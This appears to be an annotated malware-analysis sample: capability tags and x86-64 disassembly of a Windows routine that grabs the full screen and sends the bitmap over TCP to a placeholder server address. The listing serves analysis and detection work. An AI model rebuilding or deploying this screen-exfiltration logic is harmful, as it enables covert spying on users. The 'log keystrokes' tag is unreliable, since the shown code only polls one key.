Function at 0x140001450
Capabilities:
Act as tcp client
Capture screenshot
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Log keystrokes via polling
Send data
Send data on socket

Disassembly:
push rbp
sub rsp, 0x260
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, [rbp + 0x10]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov dword [rbp + 0x1dc], eax
mov qword [rbp], 0
mov qword [rbp + 8], 0
mov word [rbp], 2
mov ecx, 0x3039
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 2], ax
lea rax, str.your_server_ip_address
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 4], eax
mov eax, dword [rbp + 0x1dc]
cdqe
mov rdx, rbp
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov rax, qword [sym.imp.USER32.dll_GetDesktopWindow]
call rax
mov qword [rbp + 0x1d0], rax
mov rax, qword [rbp + 0x1d0]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetDC]
call rax
mov qword [rbp + 0x1c8], rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetSystemMetrics]
call rax
mov dword [rbp + 0x1c4], eax
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_GetSystemMetrics]
call rax
mov dword [rbp + 0x1c0], eax
mov rax, qword [rbp + 0x1c8]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_CreateCompatibleDC]
call rax
mov qword [rbp + 0x1b8], rax
mov ecx, dword [rbp + 0x1c0]
mov edx, dword [rbp + 0x1c4]
mov rax, qword [rbp + 0x1c8]
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
call rax
mov qword [rbp + 0x1b0], rax
mov rdx, qword [rbp + 0x1b0]
mov rax, qword [rbp + 0x1b8]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_SelectObject]
call rax
mov ecx, dword [rbp + 0x1c4]
mov rax, qword [rbp + 0x1b8]
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov rdx, qword [rbp + 0x1c8]
mov qword [rsp + 0x28], rdx
mov edx, dword [rbp + 0x1c0]
mov dword [rsp + 0x20], edx
mov r9d, ecx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_BitBlt]
call rax
mov dword [rbp - 0x30], 0x28
mov eax, dword [rbp + 0x1c4]
mov dword [rbp - 0x2c], eax
mov eax, dword [rbp + 0x1c0]
neg eax
mov dword [rbp - 0x28], eax
mov word [rbp - 0x24], 1
mov word [rbp - 0x22], 0x18
mov dword [rbp - 0x20], 0
mov dword [rbp - 0x1c], 0
mov eax, dword [rbp + 0x1dc]
cdqe
lea rdx, [rbp - 0x30]
mov r9d, 0
mov r8d, 0x28
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, dword [rbp + 0x1c4]
imul eax, dword [rbp + 0x1c0]
mov edx, eax
mov eax, edx
add eax, eax
lea ecx, [rax + rdx]
mov eax, dword [rbp + 0x1dc]
cdqe
mov rdx, qword [rbp + 0x1b0]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov ecx, 0x51
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
shr ax, 0xf
test al, al
je 0x1400015a3
mov rax, qword [rbp + 0x1b0]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DeleteObject]
call rax
mov rax, qword [rbp + 0x1b8]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DeleteDC]
call rax
mov rdx, qword [rbp + 0x1c8]
mov rax, qword [rbp + 0x1d0]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ReleaseDC]
call rax
mov eax, dword [rbp + 0x1dc]
cdqe
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 0
add rsp, 0x260
pop rbp
ret